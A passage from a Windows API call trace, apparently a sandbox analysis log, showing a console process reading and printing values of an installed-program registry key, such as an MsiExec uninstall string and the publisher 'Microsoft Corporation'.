lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.581] GetConsoleOutputCP () returned 0x1b5 [0150.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpUsedDefaultChar=0x0) returned 52 [0150.582] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.582] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.582] __iob_func () returned 0x7fefd702a80 [0150.582] _fileno (_File=0x7fefd702ab0) returned 1 [0150.582] _errno () returned 0x204bb0 [0150.582] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.582] _errno () returned 0x204bb0 [0150.582] GetFileType (hFile=0x50) returned 0x1 [0150.582] lstrlenW (lpString="\n") returned 1 [0150.582] GetConsoleOutputCP () returned 0x1b5 [0150.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.582] GetConsoleOutputCP () returned 0x1b5 [0150.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.582] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.582] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.582] GetProcessHeap () returned 0x3c0000 [0150.582] GetProcessHeap () returned 0x3c0000 [0150.582] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.582] GetProcessHeap () returned 0x3c0000 [0150.582] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.582] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.582] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.582] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.582] GetProcessHeap () returned 0x3c0000 [0150.583] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.583] GetProcessHeap () returned 0x3c0000 [0150.583] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.583] GetProcessHeap () returned 0x3c0000 [0150.583] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.583] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.583] __iob_func () returned 0x7fefd702a80 [0150.583] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.583] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.583] _fileno (_File=0x7fefd702ab0) returned 1 [0150.583] _errno () returned 0x204bb0 [0150.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.583] _errno () returned 0x204bb0 [0150.583] GetFileType (hFile=0x50) returned 0x1 [0150.583] lstrlenW (lpString=" ") returned 4 [0150.583] GetConsoleOutputCP () returned 0x1b5 [0150.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.583] GetConsoleOutputCP () returned 0x1b5 [0150.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.583] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.583] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.583] lstrlenW (lpString="NoModify") returned 8 [0150.583] __iob_func () returned 0x7fefd702a80 [0150.583] _fileno (_File=0x7fefd702ab0) returned 1 [0150.583] _errno () returned 0x204bb0 [0150.583] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.583] _errno () returned 0x204bb0 [0150.583] GetFileType (hFile=0x50) returned 0x1 [0150.584] lstrlenW (lpString="NoModify") returned 8 [0150.584] GetConsoleOutputCP () returned 0x1b5 [0150.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.584] GetConsoleOutputCP () returned 0x1b5 [0150.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0150.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.584] __iob_func () returned 0x7fefd702a80 [0150.584] _fileno (_File=0x7fefd702ab0) returned 1 [0150.584] _errno () returned 0x204bb0 [0150.584] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.584] _errno () returned 0x204bb0 [0150.584] GetFileType (hFile=0x50) returned 0x1 [0150.584] lstrlenW (lpString=" ") returned 4 [0150.584] GetConsoleOutputCP () returned 0x1b5 [0150.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.584] GetConsoleOutputCP () returned 0x1b5 [0150.584] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.584] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.584] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.585] __iob_func () returned 0x7fefd702a80 [0150.585] _fileno (_File=0x7fefd702ab0) returned 1 [0150.585] _errno () returned 0x204bb0 [0150.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.585] _errno () returned 0x204bb0 [0150.585] GetFileType (hFile=0x50) returned 0x1 [0150.585] lstrlenW (lpString="REG_DWORD") returned 9 [0150.585] GetConsoleOutputCP () returned 0x1b5 [0150.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.585] GetConsoleOutputCP () returned 0x1b5 [0150.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.585] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.585] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.585] __iob_func () returned 0x7fefd702a80 [0150.585] _fileno (_File=0x7fefd702ab0) returned 1 [0150.585] _errno () returned 0x204bb0 [0150.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.585] _errno () returned 0x204bb0 [0150.585] GetFileType (hFile=0x50) returned 0x1 [0150.585] lstrlenW (lpString=" ") returned 4 [0150.585] GetConsoleOutputCP () returned 0x1b5 [0150.585] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.585] GetConsoleOutputCP () returned 0x1b5 [0150.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.586] __iob_func () returned 0x7fefd702a80 [0150.586] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.586] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0150.586] _fileno (_File=0x7fefd702ab0) returned 1 [0150.586] _errno () returned 0x204bb0 [0150.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.586] _errno () returned 0x204bb0 [0150.586] GetFileType (hFile=0x50) returned 0x1 [0150.586] lstrlenW (lpString="0x1") returned 3 [0150.586] GetConsoleOutputCP () returned 0x1b5 [0150.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.586] GetConsoleOutputCP () returned 0x1b5 [0150.586] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0150.586] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.586] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.586] __iob_func () returned 0x7fefd702a80 [0150.586] _fileno (_File=0x7fefd702ab0) returned 1 [0150.586] _errno () returned 0x204bb0 [0150.586] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.586] _errno () returned 0x204bb0 [0150.586] GetFileType (hFile=0x50) returned 0x1 [0150.587] lstrlenW (lpString="\n") returned 1 [0150.587] GetConsoleOutputCP () returned 0x1b5 [0150.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.587] GetConsoleOutputCP () returned 0x1b5 [0150.587] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.587] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.587] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.587] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.587] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.587] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2e) returned 0x0 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d78d0 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.587] GetProcessHeap () returned 0x3c0000 [0150.587] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.587] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x2e | out: pdwType=0x29f700*=0x1, pvData="Microsoft Corporation", pcbData=0x29f780*=0x2c) returned 0x0 [0150.587] __iob_func () returned 0x7fefd702a80 [0150.587] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.587] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.588] _fileno (_File=0x7fefd702ab0) returned 1 [0150.588] _errno () returned 0x204bb0 [0150.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.588] _errno () returned 0x204bb0 [0150.588] GetFileType (hFile=0x50) returned 0x1 [0150.588] lstrlenW (lpString=" ") returned 4 [0150.588] GetConsoleOutputCP () returned 0x1b5 [0150.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.588] GetConsoleOutputCP () returned 0x1b5 [0150.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.588] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.588] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.588] lstrlenW (lpString="Publisher") returned 9 [0150.588] __iob_func () returned 0x7fefd702a80 [0150.588] _fileno (_File=0x7fefd702ab0) returned 1 [0150.588] _errno () returned 0x204bb0 [0150.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.588] _errno () returned 0x204bb0 [0150.588] GetFileType (hFile=0x50) returned 0x1 [0150.588] lstrlenW (lpString="Publisher") returned 9 [0150.588] GetConsoleOutputCP () returned 0x1b5 [0150.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.588] GetConsoleOutputCP () returned 0x1b5 [0150.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0150.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.589] __iob_func () returned 0x7fefd702a80 [0150.589] _fileno (_File=0x7fefd702ab0) returned 1 [0150.589] _errno () returned 0x204bb0 [0150.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.589] _errno () returned 0x204bb0 [0150.589] GetFileType (hFile=0x50) returned 0x1 [0150.589] lstrlenW (lpString=" ") returned 4 [0150.589] GetConsoleOutputCP () returned 0x1b5 [0150.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.589] GetConsoleOutputCP () returned 0x1b5 [0150.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.589] __iob_func () returned 0x7fefd702a80 [0150.589] _fileno (_File=0x7fefd702ab0) returned 1 [0150.589] _errno () returned 0x204bb0 [0150.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.589] _errno () returned 0x204bb0 [0150.589] GetFileType (hFile=0x50) returned 0x1 [0150.589] lstrlenW (lpString="REG_SZ") returned 6 [0150.589] GetConsoleOutputCP () returned 0x1b5 [0150.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.590] GetConsoleOutputCP () returned 0x1b5 [0150.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.590] __iob_func () returned 0x7fefd702a80 [0150.590] _fileno (_File=0x7fefd702ab0) returned 1 [0150.590] _errno () returned 0x204bb0 [0150.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.590] _errno () returned 0x204bb0 [0150.590] GetFileType (hFile=0x50) returned 0x1 [0150.590] lstrlenW (lpString=" ") returned 4 [0150.590] GetConsoleOutputCP () returned 0x1b5 [0150.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.590] GetConsoleOutputCP () returned 0x1b5 [0150.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.590] __iob_func () returned 0x7fefd702a80 [0150.590] _fileno (_File=0x7fefd702ab0) returned 1 [0150.590] _errno () returned 0x204bb0 [0150.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.591] _errno () returned 0x204bb0 [0150.591] GetFileType (hFile=0x50) returned 0x1 [0150.591] lstrlenW (lpString="Microsoft Corporation") returned 21 [0150.591] GetConsoleOutputCP () returned 0x1b5 [0150.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0150.591] GetConsoleOutputCP () returned 0x1b5 [0150.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0150.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0150.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.591] __iob_func () returned 0x7fefd702a80 [0150.591] _fileno (_File=0x7fefd702ab0) returned 1 [0150.591] _errno () returned 0x204bb0 [0150.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.591] _errno () returned 0x204bb0 [0150.591] GetFileType (hFile=0x50) returned 0x1 [0150.591] lstrlenW (lpString="\n") returned 1 [0150.591] GetConsoleOutputCP () returned 0x1b5 [0150.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.591] GetConsoleOutputCP () returned 0x1b5 [0150.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x30 [0150.592] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0150.592] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.592] GetProcessHeap () returned 0x3c0000 [0150.592] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.592] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.592] __iob_func () returned 0x7fefd702a80 [0150.592] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.592] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.592] _fileno (_File=0x7fefd702ab0) returned 1 [0150.592] _errno () returned 0x204bb0 [0150.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.592] _errno () returned 0x204bb0 [0150.592] GetFileType (hFile=0x50) returned 0x1 [0150.592] lstrlenW (lpString=" ") returned 4 [0150.592] GetConsoleOutputCP () returned 0x1b5 [0150.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.593] GetConsoleOutputCP () returned 0x1b5 [0150.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.593] lstrlenW (lpString="Readme") returned 6 [0150.593] __iob_func () returned 0x7fefd702a80 [0150.593] _fileno (_File=0x7fefd702ab0) returned 1 [0150.593] _errno () returned 0x204bb0 [0150.593] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.593] _errno () returned 0x204bb0 [0150.593] GetFileType (hFile=0x50) returned 0x1 [0150.593] lstrlenW (lpString="Readme") returned 6 [0150.593] GetConsoleOutputCP () returned 0x1b5 [0150.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.593] GetConsoleOutputCP () returned 0x1b5 [0150.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0150.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.594] __iob_func () returned 0x7fefd702a80 [0150.594] _fileno (_File=0x7fefd702ab0) returned 1 [0150.594] _errno () returned 0x204bb0 [0150.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.594] _errno () returned 0x204bb0 